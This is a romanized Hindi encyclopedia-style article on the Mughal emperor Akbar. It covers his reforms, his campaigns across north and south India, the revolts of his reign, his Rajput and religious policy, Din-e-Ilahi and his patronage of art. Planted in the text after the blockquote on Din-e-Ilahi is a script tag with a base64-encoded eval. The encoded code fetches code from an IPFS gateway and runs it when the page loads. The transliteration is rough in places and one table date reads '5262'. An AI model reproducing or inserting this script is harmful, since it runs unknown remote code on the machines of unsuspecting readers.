isi samay ek aur bhi khatara usane agara mean mol liya. hemoo ka hathi 'havaee' bahut hi mast aur khataranak tha. ek din akabar ko us par savari karane ki dhun savar huee. do-tin pyale chadhakar vah usake oopar chadh gaya. itane se santosh n hone par usane mukabale ke doosare hathi 'ranabagha' se bhi dant kara di. ranabagha, havaee ke prahar ko bardast n kar pane ke karan jan bachakar bhaga. havaee bhi use chho dane ke lie taiyar nahian tha. akabar havaee ke kandhe par baitha raha. ranabagha ke pichhe-pichhe havaee yamuna nadi ke kh de kinare se niche ki or dau da. navoan ka pul paha doan ke niche kaise tik sakata tha? pul doob gaya. yamuna par age-age ranabagha bhaga ja raha tha aur usake pichhe-pichhe havaee. log saans rokakar yah khooni tamasha dekh rahe the. akabar ne apane oopar kaboo rakhate hue havaee ko rokane ki koshish ki aur ant mean vah saphal hua. [[chitr:Akbar-Supervises-Agra-Fort.jpg|thumb|250px|left|akabaranama ke anusar agara qile ka nirman hota dekhate samrat akabar]]

tisara prasang

1562 ee. ki bhi akabar ke jivan ki ek ghatana hai. sakit paragana, (zila eta) ke ath gaanvoan ke log b de hi sarkas the. akabar ne svayan unhean dabane ka nishchay kiya. ek din shikar karane ke bahane vah nikala. dedh-do sau savaroan aur kitane hi hathi usake sath the. bagi char hazar the, lekin akabar ne unaki sankhya ki paravah nahian ki. usane dekha, shahi savar aga-pichha kar rahe haian. phir kya tha? apane hathi dalashankar par chadhakar vah akele parokh gaanv ke ek ghar ki or badha. zamin ke niche anaj ki bakhar thi, jis par hathi ka pair p da aur vah phansakar ludhak gaya. dushman banoan ki varsha kar rahe the. paanch ban dhal mean lage. akabar beparavah hokar hathi ko nikalane mean saphal hua aur makan ki divar ko to date hue bhitar ghusa. gharoan mean ag laga di gee. ek hazar bagi usi mean jal mare.

akabar par ghatak akraman

1564 ee. ke arambh mean akabar dilli gaya. 11 julaee ko nizamuddin auliya ke maqabare ki ziyarat karake lautate samay maham anaga ke banavaye madarase ke pas guzar raha tha. usi samay madarase ke kothe se ek habshi gulam faulad ne tir mara. kandhe ke bhitar ghus ge tir ko turant nikal liya gaya aur habshi bhi pak da gaya. bad mean pata laga ki, habshi faulad, shah abul mali ke mitr mirza sharafuddin ka gulam hai. dilli ke sharif parivaroan ki kuchh sundariyoan ko akabar ne apane ant:pur mean dal liya. madhy eshiya mean jis sundari par badashah ki nazar p d jati thi, pati use talaq dekar badashah ko pradan kar deta tha. akabar ne ek shekh ko apani tarun patni ko talaq dene ke lie majaboor kiya tha. ijjat ka saval tha, isilie faulad ne tir mara tha. logoan ne faulad se poochhatachh karake janakari prapt karani chahi. akabar ne rokakar kaha, ‘n jane yah kin-kin ke oopar jhoothi tohamat lagayega.’ faulad ko mrityudand diya gaya. ghayal akabar gho de par savar hokar mahal mean laut aya aur das din bad achchha ho jane par agara lauta. 21 sal ki ayu mean aise ghatak akraman ke bad bhi apane vivek ko n khona yah batalata hai ki, akabar asadharan purush tha.

akabar ke prarambhik sudhar

akabar ne apane rajy mean kee sudhar kie the. mugalakalin shasan vyavastha mean usaka mahattvapoorn sthan hai. usake samay mean kie ge kuchh sudhar is prakar se haian-

1. yuddh mean bandi banaye gaye vyaktiyoan ke parivar ke sadasyoan ko das banane ki parampara ko to date hue akabar ne das pratha par 1562 ee. se poornatah rok laga di.
2. praranbh mean akabar ‘haram dal’ ke prabhav mean tha. is dal ke pramukh sadasy-dhay maham anaga, jiji anaga, adaham khaan, munam khaan, shihabuddin ahamad khaan the. jab tak akabar ne is dal ke prabhav mean kam kiya, tab tak ke shasan ko ‘petikot sarakar’ v ‘parda shasan’ bhi kaha jata hai.
3. agast, 1563 ee. mean akabar ne vibhinn tirth sthaloan par lagane vale ‘tirth yatra kar’ ki vasooli ko band karava diya.
4. march, 1564 ee. mean akabar ne ‘jaziya kar’, jo gair-muslim jan se vyakti kar ke roop mean vasoola jata tha, ko band karava diya.
5. 1571 ee. mean akabar ne fatehapur sikari ko apani rajadhani banaya. 1583 ee. mean akabar ne ek naya kailendar ilahi sanvath jari kiya.
6. akabar ne sati pratha par rok lagane ka prayas kiya, vidhava vivah ko protsahit kiya.
7. l dakoan ke vivah ki nyoonatam ayu 16 varsh tatha l dakiyoan ke vivah ki nyoonatam ayu 14 varsh nirdharit ki gee.

samrajy vistar

akabar ke kuchh mahattvapoorn kary

varsh	kary
1562 ee.	das pratha ka ant
1562 ee.	akabar ki ‘haramadal’ se mukti
1563 ee.	tirth yatra kar samapt
1564 ee.	jaziya kar samapt
1565 ee.	dharm parivartan par pabandi
1571 ee.	fatehapur sikari ki sthapana
1571 ee.	rajadhani agara se fatehapur sikari sthanantarit
1575 ee.	ibadat khane ki sthapana
1578 ee.	ibadat khane mean sabhi dharmoan ka pravesh
1579 ee.	‘mazahar’ ki ghoshana
1582 ee.	‘din-e-ilahi’ ki ghoshana
1582 ee.	soory pooja v agni pooja ka prachalan karaya
1583 ee.	ilahi sanvath ki sthapana

akabar ka samrajy vistar do vargoan mean vibhajit kiya ja sakata haian-

1. uttar bharat ki vijay aur
2. dakshin bharat ki vijay

uttar bharat ki vijay

panipat yuddh ke bad 1559 ee. mean akabar ne gvaliyar par, 1560 ee. mean usake senapati jamal khaan ne jaunapur par tatha 1561 ee. mean asaph khaan ne chunar ke qile par adhikar kar liya.

malava vijay

yahaan ke shasak baj bahadur ko 1561 ee. mean adaham khaan ke netritv mean mugal sena ne parast kar diya. 29 march, 1561 ee. ko malava ki rajadhani ‘sarangapur’ par mugal senaoan ne adhikar kar liya. akabar ne adaham khaan ko vahaan ki soobedari sauanpi. 1562 ee. mean pir muhammad malava ka soobedar bana. yah ek atyachari pravriti ka vyakti tha. baj bahadur ne dakshin ke shasakoan ke sahayog se punah malava par adhikar kar liya. pir muhammad bhagate samay narmada nadi mean doob kar mar gaya. is bar akabar ne abdulla khaan ujabeg ko baj bahadur ko parast karane ke lie bheja. baj bahadur ne parajit hokar akabar ki adhinata svikar kar akabar ke darabar mean dvi-hazari manasab prapt kiya. 1564 ee. mean akabar ne goandavana vijay hetu ‘asaph khaan’ ko bheja. tatkalin goandavana rajy ki shasika v mahoba ki chandel rajakumari ‘rani durgavati’, jo apane alpayu putr ‘viranarayan’ ki sanrakshika ke roop mean shasan kar rahi thi, ne asaph khaan ke netritv vali mugal sena ka dat kar mukabala kiya. antatah maan aur putr donoan viragati ko prapt hue. 1564 ee. mean goandavana mugal samrajy ke adhin ho gaya.

rajasthan vijay

rajasthan ke rajapoot shasak apane parakram, atsamman evan svatantrata ke lie prasiddh the. akabar ne rajapootoan ke prati vishesh niti apanate hue un rajapoot shasakoan se mitrata evan vaivahik sambandh sthapit kiye, jinhoanne usaki adhinata svikar kar li. kintu jinhoanne adhinata svikar nahian ki, unase yuddh ke dvara adhinata svikar karavane ka prayatn kiya.

• amer (jayapur) - 1562 ee. mean akabar dvara ajamer ki shekh mueenuddin chishti ki daragah ki yatra ke samay usaki mulakat amer ke shasak raja bharamal se huee. bharamal pratham rajapoot shasak tha, jisane svechchha se akabar ki adhinata svikar ki. kalantar mean bharamal ya biharimal ki putri se akabar ne vivah kar liya, jisase jahaangir paida hua. akabar ne bharamal ke putr (dattak) bhagavanadas evan pautr manasianh ko uchch manasab pradan kiya.
• me data - yahaan ka shasak jayamal meva d ke raja udayasianh ka samant tha. me data par akraman ke samay mugal sena ka netritv sarafuddin kar raha tha. usane jayamal evan devadas se me data ko chhinakar 1562 ee. mean mugaloan ke adhin kar diya.
• meva d - ‘meva d’ rajasthan ka ek matr aisa rajy tha, jahaan ke rajapoot shasakoan ne mugal shasan ka sadaiv virodh kiya. akabar ka samakalin meva d shasak sisodiya vansh ka rana udayasianh tha, jisane mugal samrat akabar ki adhinata svikar nahian ki. akabar ne meva d ko apane adhin karane ke lie 1567 ee. mean chittau d ke qile par akraman kar diya. udayasianh qile ki suraksha ka bhar jayamal evan phatta (fateh sianh) ko sauanp kar samip ki paha diyoan mean kho gaya. in do viroan ne b di bahaduri se mugal sena ka mukabala kiya ant mean donoan yuddh kshetr mean viragati ko prapt hue. akabar ne qile par adhikar ke bad lagabhag 30,000 rajapootoan ka katl karava diya. yah narasanhar akabar ke nam par ek b de dhabbe ke roop mean mana gaya, jise mitane ke lie akabar ne agara qile ke daravaze par jayamal evan phatta ki virata ki smriti mean unaki prastar moortiyaan sthapit karavayian. 1568 ee. mean mugal sena ne meva d ki rajadhani evan chittau d ke qile par adhikar kar liya. akabar ne chittau d ki vijay ke smritisvaroop vahaan ki mahamata mandir se vishal jha daphanoos avashesh agara le aya.
• ranathanbhaur vijay - ranathanbhaur ke shasak booandi ke ha da rajapoot surajan ray se akabar ne 18 march, 1569 ee. mean durg ko apane qabze mean le liya.
• kalianjar vijay - uttar pradesh ke baanda zile mean sthit yah qila abhedy mana jata tha. is par riva ke raja ramachandr ka adhikar tha. mugal sena ne majanoo khaan ke netritv mean akraman kar kalianjar par adhikar kar liya. raja ramachandr ko ilahabad ke samip ek jagir de di gayi.

1570 ee. mean marava d ke shasak ramachandr sen, bikaner ke shasak kalyanamal evan jaisalamer ke shasak raval hararay ne akabar ki adhinata svikar ki. is prakar 1570 ee. tak meva d ke kuchh bhagoan ko chho dakar shesh rajasthan ke shasakoan ne mugal adhinata svikar kar li. adhinata svikar karane vale rajyoan mean kuchh any the- dooangarapur, baansava da evan pratapagadh. [[chitr:Humayun-Babur-Jahangir-Akbar.jpg|thumb|250px|left|humayooan, babar, jahaangir aur akabar]]

gujarat vijay (1572-73 ee.)

gujarat ek samriddh, unnatishil evan vyaparik kendr ke roop mean prasiddh tha. isalie akabar ise apane adhikar mean karane hetu utsuk tha. sitambar 1572 ee. mean akabar ne svayan hi gujarat ko jitane ke lie prasthan kiya. us samay gujarat ka shasak mujaphphar khaan tritiy tha. lagabhag dedh mahine ke sangharsh ke bad 26 faravari, 1573 ee. tak akabar ne soorat, ahamadabad evan kaimbe par adhikar kar liya. akabar ‘khane ajam’ mirza ajij koka ko gujarat ka garvanar niyukt kar vapas agara a gaya, kintu usake agara pahuanchate hi soochana mili ki, gujarat mean muhammad husain mirza ne vidroh kar diya hai. atah turant hi akabar ne gujarat ki or mu dakar 2 sitambar, 1573 ee. ko vidroh ko kuchal diya. akabar ke is abhiyan ko smthi ne ‘sansar ke itihas ka sarvadhik drutagami akraman’ kaha hai. is prakar gujarat akabar ke samrajy ka ek pakka aang ban gaya. usake vitt tatha rajasv ka punarsaganthan todaramal ne kiya, jisaka kary us prant mean sihabuddin ahamad ne 1573 ee. se 1584 ee. tak kiya. gujarat mean hi akabar sarvapratham purtagaliyoan se mila aur yahian par usane pahali bar samudr ko dekha. gujarat ko jitane ke bad akabar ne poore uttar bharat mean ‘karo di’ nam ke ek adhikari ki niyukti ki. is adhikari ko apane kshetr se ek karo d dam vasool karana hota tha. ‘karo di’ ki sahayata ke lie ‘amil’ niyukt kiye ge. ye qanoonagoan dvara bataye gaye aank de ki bhi jaanch karate the. vastavik utpadan, sthaniy qimatean, utpadakata adi par unaki soochana ke adhar par akabar ne 1580 ee. mean 'dahasala' nam ki navin pranali ko prarambh kiya.

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bihar evan bangal par vijay (1574-1576 ee.)

bihar evan bangal par suleman karrani akabar ki adhinata mean shasan karata tha. karrani ki mrityu ke bad usake putr daood ne apani svatantrata ki ghoshana kar di. akabar ne munam khaan ke netritv mean mugal sena ko daood ko parajit karane ke lie bheja, sath hi munam khaan ki sahayata hetu khud bhi gaya. 1574 ee. mean daood bihar se bangal bhag gaya. akabar ne bangal vijay ka sampoorn dayitv munam khaan ko sauanp diya aur vapas fatehapur sikari a gaya. munam khaan ne bangal pahuanchakar daood ko suvarn rekha nadi ke poorvi kinare par sthit ‘tukaraee’ namak sthan par 3 march, 1575 ee. ko parast kiya. daood ki mrityu julaee, 1576 ee.mean ho gee. is tarah se bangal evan bihar par mugaloan ka adhikar ho gaya.

haldighati ka yuddh (18 joon, 1576 ee.)

uday sianh ki mrityu ke bad meva d ka shasak maharana pratap hua. akabar ne meva d ko poornaroop se jitane ke lie aprail, 1576 ee. mean amer ke raja manasianh evan asaph khaan ke netritv mean mugal sena ko akraman ke lie bheja. donoan senaoan ke madhy goguda ke nikat aravali paha di ki ‘haldi ghati’ shakha ke madhy hua. is yuddh mean ranapratap parajit hue. unaki jan jhala ke nayak ki niahsvarth bhakti ke karan bach saki, kyoanki usane apane ko rana ghoshit kar shahi dal ke akraman ko apane oopar le liya tha. rana ne chetak par savar hokar paha diyoan ki or bhag kar ashray liya. yah abhiyan bhi meva d par poorn adhikar ke bina hi samapt ho gaya. 1597 ee. mean rana pratap ki mrityu ke bad unaka putr amar sianh uttaradhikari hua. usake shasan kal 1599 ee. mean manasianh ke netritv mean ek bar phir mugal sena ne akraman kiya. amar sianh ki parajay ke bad bhi meva d abhiyan adhoora raha, jise bad mean jahaangir ne poora kiya.

kabul vijay (1581 ee.)

mirza hakim, jo rishte mean akabar ka sautela bhaee tha, ‘kabul’ par svatantr shasak ke roop mean shasan kar raha tha. samrat banane ki mahatvakaanksha mean usane panjab par akraman kiya. usake vidroh ko kuchalane ke lie akabar ne 8 faravari, 1581 ee. ko ek brihad sena ke sath afaganistan ki or prasthan kiya. akabar ke ane ka samachar sunakar mirza hakim kabul ki or vapas ho gaya. 10 agast 1581 ee. ko akabar ne mirza ki bahan bakhtunnisa begam ko kabul ki soobedari sauanpi. kalantar mean akabar ne kabul ko samrajy mean mila kar manasianh ko soobedar banaya.

kashmir vijay (1585-1586 ee.)

akabar dvara jite ge rajy

rajy	shasak	varsh	mugal senapati
malava	baj bahadur	1561 ee.	adamah khaan, pir muhammad
malava	-	5262 ee.	abdulla khaan
chunar	-	1561 ee.	asaf khaan
goandavana	viranarayan evan durgavati	1564 ee.	asaf khaan
amer	bharamal	1562 ee.	svayan adhinata svikar ki
me data	jayamal	1562 ee.	sarafuddin
meva d	udayasianh	1568 ee.	svayan akabar
meva d	rana pratap	1576 ee.	manasianh, asaf khaan
ranathambhaur	surajan ha da	1569 ee.	bhagavanadas, akabar
kalianjar	ramachandr	1569 ee.	majanoo khaan kakashah
marava d	rav chandrasen	1570 ee.	svechchha se adhinata svikar ki
gujarat	mujaffar khaan tritiy	1571 ee.	khanakala, khane ajam
bihar-bangal	daood khaan	1574-1576	munam khaan khanakhana
kabul	hakim mirza	1581 ee.	manasianh evan akabar
kashmir	yoosuf v yakoob khaan	1586 ee.	bhagavanadas, kasim khaan
siandh	jani beg	1591 ee.	abdurrahim khanakhana
u disa	nisar khaan	1590-1591 ee.	manasianh
baloochistan	panni afagan	1595 ee.	mir masoom
kandhar	mujaffar husain mirza	1595 ee.	shahabeg
khanadesh	ali khaan	1591 ee.	svechchha se adhinata svikar ki
daulatabad	chaandabibi	1599 ee.	murad, rahim, abul fazal evan akabar
ahamadanagar	bahadurashah, chaandabibi	1600 ee.	-
asiragadh	miran bahadur	1601 ee.	akabar (antim abhiyan)

akabar ne kashmir par adhikar karane ke lie bhagavan das evan kasim khaan ke netritv mean mugal sena ko bheja. mugal sena ne tho de se sangharsh ke bad yahaan ke shasak ‘yusuph khaan’ ko bandi bana liya. bad mean yusuph khaan ke l dake ‘yakoob’ ne sangharsh ki shuruat ki, kintu shrinagar mean hue vidroh ke karan use mugal sena ke samaksh atsamarpan karana p da. 1586 ee. mean kashmir ka vilay mugal samrajy mean ho gaya.

siandh vijay (1591 ee.)

akabar ne abdurrahim khanakhana ko siandh ko jitane ka dayitv sauanpa. 1591 ee. mean siandh ke shasak janibeg evan khanakhana ke madhy k da sangharsh hua. antatah siandh par mugaloan ka adhikar ho gaya.

u disa vijay (1590-1592 ee.)

1590 ee. mean raja manasianh ke netritv mean mugal sena ne u disa ke shasak nisar khaan par akraman kar atmasamarpan ke lie vivash kiya, parantu antim roop se u disa ko 1592 ee. mean mugal samrajy ke adhin kiya gaya.

baloochistan vijay (1595 ee.)

mir masoom ke netritv mean mugal senaoan ne 1595 ee. mean baloochistan par akraman kar vahaan ke afaganoan ko harakar use mugal samrajy mean mila liya.

kandhar vijay (1595 ee.)

bairam khaan ke sanrakshan kal 1556-1560 ee. mean kandhar mugaloan ke hath se nikal gaya tha. kandhar ka soobedar mujaphphar husain mirza kandhar ko svechchha se mugal saradar shahabeg ko sauanpakar svayan akabar ka manasabadar ban gaya. is tarah akabar meva d ke atirikt sampoorn uttari bharat par adhikar karane mean saphal hua.

akabar ki dakshin vijay

bahamani rajy ke vikhandan ke uparant bane rajyoan khanadesh, ahamadanagar, bijapur evan golakunda ko akabar ne apane adhin karane ke lie 1591 ee. mean ek dootamandal ko dakshin ki or bheja. mugal sima ke sarvadhik nazadik hone ke karan ‘khanadesh’ ne mugal adhipaty ko svikar kar liya. ‘khanadesh’ ko dakshin bharat ka ‘pravesh dvar’ bhi mana jata hai.

ahamadanagar vijay

1593 ee. mean akabar ne ahamadanagar par akraman hetu abdurrahim khanakhana evan murad ko dakshin bheja. 1594 ee. mean yahaan ke shasak burahanulamulk ki mrityu ke karan ahamadanagar ke qile ka dayitv bijapur ke shasak ali adilashah pratham ki vidhava chaandabibi par a gaya. chaandabibi ne ibrahim ke alpayu putr bahadurashah ko sultan ghoshit kiya evan svayan usaki sanrakshika ban gee. 1595 ee. mean mugal akraman ka isane lagabhag 4 mahine tak datakar samana kiya. antatah donoan pakshoan mean 1596 ee. mean samajhauta ho gaya. samajhaute ke anusar barar mugaloan ko sauanp diya gaya evan burahanulamulk ke pautr bahadurashah ko ahamadanagar ke shasak ke roop mean manyata pradan kar di gee. isi yuddh ke dauran mugal sarvapratham marathoan ke sampark mean aye. kuchh din bad chaandabibi ne apane ko ahamadanagar prashasan se alag kar diya. vahaan ke saradaroan ne sandhi ka ullanghan karate hue barar ko punah prapt karana chaha. akabar ne abul fazal ke sath murad ko ahamadanagar par akraman ke lie bheja. 1597 ee. mean murad ki mrityu ho jane ke karan abdurrahim khanakhana evan shahazada daniyal ko akraman ke lie bheja. akabar ne bhi dakshin ki or prasthan kiya. mugal sena ne 1599 ee. mean daulatabad evan 1600 ee. mean ahamadanagar qile par adhikar kar liya. chaandabibi ne atmahatya kar li.

asiragadh vijay

khanadesh ki rajadhani burahanapur par svayan akabar ne 1599 ee. mean akraman kiya. is samay vahaan ka shasak miran bahadur tha. usane apane ko asiragadh ke qile mean surakshit kar liya. akabar ne asiragadh ke qile ka gherav kar usake daravaze ko ‘sone ki chabhi’ se khola arthat akabar ne dil kholakar khanadesh ke adhikariyoan ko rupaye baante aur unhean kapatapoorvak apani or mila liya. 21 disambar, 1600 ee. ko miran bahadur ne akabar ke samaksh atmasamarpan kar diya, parantu akabar ne antim roop se is durg ko apane qabze mean 6 janavari 1601 ee. ko kiya. asiragadh ki vijay akabar ki antim vijay thi. miran bahadur ko bandi bana kar gvaliyar ke qile mean qaid kar liya gaya. 4000 asharfiyaan usake varshik nirvah ke lie nishchit ki gayian. in vijayoan ke pashchath akabar ne dakshin ke samrat ki upadhi dharan ki.

chitr:Blockquote-open.gif sabhi dharmoan ke sar sangrah ke roop mean akabar ne 1582 ee. mean din-e-ilahi (tauhid-e-ilahi) ya daivi ekeshvaravad namak dharm ka pravartan kiya tatha use rajakiy dharm ghoshit kar diya. is dharm ka pradhan purohit abul fazal tha. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> akabar ne barar, ahamadanagar evan khanadesh ki soobedari shahazada daniyal ko pradan kar di. bijapur evan golakunda par akabar adhikar nahian kar saka. is tarah akabar ka samrajy kandhar evan kabul se lekar bangal tak aur kashmir se lekar barar tak phaila tha.

mahattvapoorn vidroh

akabar ke samay mean hue mahattvapoorn vidroh nimnalikhit haian-

ujabegoan ka vidroh

ujabeg varg purane amir the. is varg ke pramukh vidrohi neta the- jaunapur ke saradar khan jaman, usaka bhaee bahadur khaan evan chacha ibrahim khaan, malava ka soobedar abdulla khaan, avadh ka soobedar khane alam adi. ye sabhi vidrohi saradar akabar ki adhinata svikar karane ke lie taiyar nahian the. 1564 ee. mean malava ke abdulla khaan ne vidroh kiya. yah vidroh akabar ke samay ka pahala vidroh tha. in vidrohoan ko akabar ne b di saralata se daba liya.

mirzaoan ka vidroh

mirza varg ke log akabar ke rishtedar the. is varg ke pramukh vidrohi neta the- ibrahim mirza, muhammad husain mirza, masood husain, sikandar mirza evan mahamood mirza adi. chooanki is varg ka akabar se khoon ka rishta tha, isalie ye adhikar ki apeksha karate the. isi se upaje asantosh ke karan is varg ne vidroh kiya. akabar ne 1573 ee. tak mirzaoan ke vidroh ko poorn roop se kuchal diya.

bangal evan bihar ka vidroh

1580 ee. mean bangal mean baba khaan kakashal evan bihar mean muhammad masoom kabuli evan arab bahadur ne vidroh kiya. raja todaramal ke netritv mean akabar ki sena ne 1581 ee. mean vidroh ko kuchala.

yoosufajiyoan ka vidroh

akabar ke kashmir abhiyan ke samay 1585 ee. mean pashchimottar sima par yoosufajiyoan ki akramak gatividhayoan ke karan sthiti atyant ganbhir ho gayi thi. akabar ne jailakhan kokalatash ke netritv mean inase nipatane hetu sena bheji. birabal aur hakim abdul fatah bhi bad mean usaki sahayata ke lie niyukt kiye gaye, kintu abhiyan ke dauran matabhed hone ke karan vapas lautate huye yoosufajiyoan ne pichhe se hamala kiya. isi hamale mean birabal ki mrityu ho gayi. uttar pashchim sima prant ki samasyaoan ne akabar ko ant tak prabhavit kiya. [[chitr:Akbar-Receives-An-Embassy.jpg|thumb|250px|left|akabar ko maharani elizabeth dvara bheja gaya doot, fatehapur sikari - 1586]]

shahazada salim ka vidroh

akabar ke la d-pyar mean pala salim kafi big d chuka tha. vah badashah banane ke lie utsuk tha. 1599 ee. mean salim akabar ki ajna ke bina ajamer se ilahabad chala gaya. yahaan par usane svatantr shasak ki tarah vyavahar karana shuroo kiya. 1602 ee. mean akabar ne salim ko samajhane ka prayatn kiya. usane salim ko samajhane ke lie dakshin se abul phazal ko bulavaya. raste mean jahaangir ke nirdesh par orachha ke bundela saradar virasianhadev ne abul fazal ki hatya kar di. niahsandeh jahaangir ka yah kary akabar ke lie asahaniy tha, phir bhi akabar ne salim ke agara vapas lautakar (1603 ee.) mean mafi maang lene par maf kar diya. akabar ne use meva d jitane ke lie bheja, par vah meva d n jakar punah ilahabad pahuanch gaya. kuchh din tak sura aur sundari mean doobe rahane ke bad apani dadi ki mutyu par salim 1604 ee. mean vapas agara gaya. jahaan akabar ne use ek bar phir maf kar diya. isake bad salim ne vidrohatmak rookh nahian apanaya.

akabar ki rajapoot niti

akabar ki rajapoot niti usaki gahan soojh-boojh ka parinam thi. akabar rajapootoan ki shatruta se adhik unaki mitrata ko mahatv deta tha. akabar ki rajapoot niti daman aur samajhaute par adharit thi. usake dvara apanayi gayi niti par donoan pakshoan ka hit nirbhar karata tha. akabar ne rajapoot rajaoan se dosti kar shreshth evan svamibhakt rajapoot viroan ko apani seva mean liya, jisase mugal samrajy kafi din tak jivit rah saka. rajapootoan ne mugaloan se dosti evan vaivahik sambandh sthapit kar apane ko adhik surakshit mahasoos kiya. is tarah akabar ki ek sthayi, shaktishali evan vistrit samrajy ki kalpana ko sakar karane mean rajapootoan ne mahattvapoorn yogadan diya. akabar ne kuchh rajapoot rajaoan jaise- bhagavan das, raja manasianh, birabal evan todaramal ko uchch manasab pradan kiya tha. akabar ne sabhi rajapoot rajaoan se svayan ke sikke chalane ka adhikar chhin liya tatha unake rajy mean bhi shahi sikkoan ka prachalan karavaya.

dharmik niti

akabar pratham samrat tha, jisake dharmik vicharoan mean kramik vikas dikhayi p data hai. usake is vikas ko tin kaloan mean vibhajit kiya ja sakata hai.

• pratham kal (1556-1575 ee.) - is kal mean akabar islam dharm ka kattar anuyayi tha. jahaan usane islam ki unnati hetu anek masjidoan ka nirman karaya, vahian din mean paanch bar namaz padhana, roze rakhana, mulla maulaviyoan ka adar karana, jaise usake mukhy islamik krity the.
• dvitiy kal (1575-1582 ee.) - akabar ka yah kal dharmik drishti se kraantikari kal tha. 1575 ee. mean usane fatehapur sikari mean ibadatakhane ki sthapana ki. usane 1578 ee. mean ibadatakhane ko dharm sansad mean badal diya. usane shukravar ko maans khana chho d diya. agast-sitambar, 1579 ee. mean mahajar ki ghoshana kar akabar dharmik mamaloan mean sarvochch nirnayak ban gaya. mahajaranama ka praroop shekh mubarak dvara taiyar kiya gaya tha. ulemaoan ne akabar ko ‘imame-adil’ ghoshit kar vivadaspad qanooni mamale par avashyakatanusar nirnay ka adhikar diya.
• tritiy kal (1582-1605 ee.) - is kal mean akabar poornaroopen 'din-e-ilahi' mean anurakt ho gaya. islam dharm mean usaki nishtha kam ho gayi. har ravivar ki sandhya ko ibadatakhane mean vibhinn dharmoan ke log ekatr hokar dharmik vishayoan par vad-vivad kiya karate the. ibadatakhane ke prarambhik dinoan mean shekh, pir, ulema hi yahaan dharmik varta hetu upasthit hote the, parantu kalantar mean any dharmoan ke log jaise eesaee, jarathustravadi, hindoo, jain, bauddh, farasi, soofi adi ko ibadatakhane mean apane-apane dharm ke patr ko prastut karane ke lie amantrit kiya gaya. ibadatakhane mean hone vale dharmik vad vivadoan mean abul fazal ki mahattvapoorn bhoomika hoti thi.

din-e-ilahi

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sabhi dharmoan ke sar sangrah ke roop mean akabar ne 1582 ee. mean din-e-ilahi (tauhid-e-ilahi) ya daivi ekeshvaravad namak dharm ka pravartan kiya tatha use rajakiy dharm ghoshit kar diya. is dharm ka pradhan purohit abul fazal tha. is dharm mean diksha prapt karane vala vyakti apani pag di evan sir ko samrat akabar ke charanoan mean rakhata tha. samrat use uthakar usake sir par pun: pag di rakhakar ‘shast’ (apana svaroop) pradan karata tha, jis par ‘alla ho akabar’ khuda rahata tha. is mat ke anuyayi ko apane jivit rahane ke samay hi shraddh bhoj dena hota tha. maans khane par pratibandh tha evan vriddh mahila tatha kam umr ki l dakiyoan se vivah karane par poornat: rok thi. mahattvapoorn hindoo rajaoan mean birabal ne is dharm ko svikar kiya tha. itihasakar smith ne din-e-ilahi par udagar vyakt karate hue kaha hai ki, ‘yah usaki samrajyavadi bhavanaoan ka shishu v usaki rajanitik mahatvakaankshaoan ka ek dharmik jama hai.’ smith ne yah bhi likha hai ki, ‘din-e-ilahi’ akabar ke ahankar evan nirankushata ki bhavana ki upaj thi. 1583 ee. mean ek naya kailendar ilahi sanvath shuroo kiya. akabar par islam dharm ke bad sabase adhik prabhav hindoo dharm ka tha.

kala aur sahity mean yogadan

thumb|250px|hamazanama

• solahavian shatabdi ke madhy mean bharat musavvarakhanoan ki halat bikhari huee thi. chahe kee pustakean bangal, maandoo aur golakunda ke kalakaroan ke hathoan chitrit huee thian.
• rajapoot darabar mean sanskrit aur hindi ki kee pandulipiyaan chitrit huee thian aur jain chitr usi tarah gujarat aur rajasthan mean ban rahe the. us samay badashah akabar ne kalakaroan ke lie bahut b da sthan taiyar karavaya aur kalakar door-door se agara ane lage, bharat ki rajadhani mean.
• akabar ke is bahut b de tasvirakhana mean se jo pahali kitab taiyar huee vah thi—totinama.
• akabar ki saraparasti mean jo bahut b da kam hua, vah tha—hamazanama. yah hazarat muhammad ke chacha amirahamaza ke jangi karanamoan ki dastan hai jo chaudah jildoan mean taratib di gayi. har jild mean ek sau chitr the. yah sooti kap de ke tuk doan par chitrit ki gee thi aur ise mukammal soorat dete hue pandrah baras lage.
• jarin-kalam़ ka arth hai sunahari kalam. yah ek kitab thi jo akabar badashah ne kailigraphi़ ke mahir ek kalakar muhammad husain al kashmiri ko di gee thi.
• ambari qalam़ bhi ek kitab thi jo akabar ne abdul rahim ko di thi. mahabharat, ramayan, harivansh, yogavashishth aur atharvaved jaise kee granthoan ka farasi se anuvad bhi badashah akabar ne karaya tha.
• razam-nama mahabharat farasi anuvad ka nam hai jisaka anuvad vidvan brahmanoan ki madad se badayooanni jaise itihasakaroan ne kiya tha, 1582 mean aur use farasi ke shayar faizi ne shayarana juban di thi.
• raj kuanvar kisi hindoo kahani ko lekar farasi mean likhi huee kitab hai jisake lekhak ne gumanam rahana pasand kiya tha. isaki ikyavan pentiang salim ke ilahabad vale tasvir khane mean taiyar huee thian.

abul fazal ka vargikaran

abul fazal ne arastu dvara ullikhit 4 tatvoan ag, vayu, jal, bhoomi ko samrat akabar ki sharir rachana mean samavesh mana. abul fazal ne yoddhaoan ki tulana agni se, shilpakaroan evan vyapariyoan ki tulana vayu se, vidvanoan ki tulana pani se evan kisanoan ki tulana bhoomi se ki. shahi karmachariyoan ka vargikaran karate hue abul fazal ne umara varg ki agni se, rajasv adhikariyoan ki vayu se, vidhi vetta, dharmik adhikari, jyotishi, kavi evan darshanik ki pani se evan badashah ke vyaktigat sevakoan ki tulana bhoomi se ki hai. thumb|250px|left|hamazanama abul fazal ne aine akabari mean likha hai ki, ‘badashahat ek aisi kiran hai, jo sampoorn brahmand ko prakashit karane mean saksham hai.’ ise samasamayik bhasha mean pharre-ijadi kaha gaya hai. soofi mat mean apani astha jatate hue akabar ne chishti sampraday ko ashray diya. akabar ne sabhi dharmoan ke prati apani sahishnuta ki bhavana ke karan apane shasanakal mean agara evan lahaur mean eesaeeyoan ko girijaghar banavane ki anumati pradan ki. akabar ne jain dharm ke jainachary harivijay soori ko jagat guru ki upadhi pradan ki. kharatar-gachchh sampraday ke jainachary jinachandr soori ko akabar ne 200 bigha bhoomi jivan nirvah hetu pradan ki. samrat parasi tyauhar evan sanvath mean vishvas karata tha. akabar par sarvadhik prabhav hindoo dharm ka p da. akabar ne ballabhachary ke putr vitthalanath ko gokul aur jaitapura ki jagir pradan 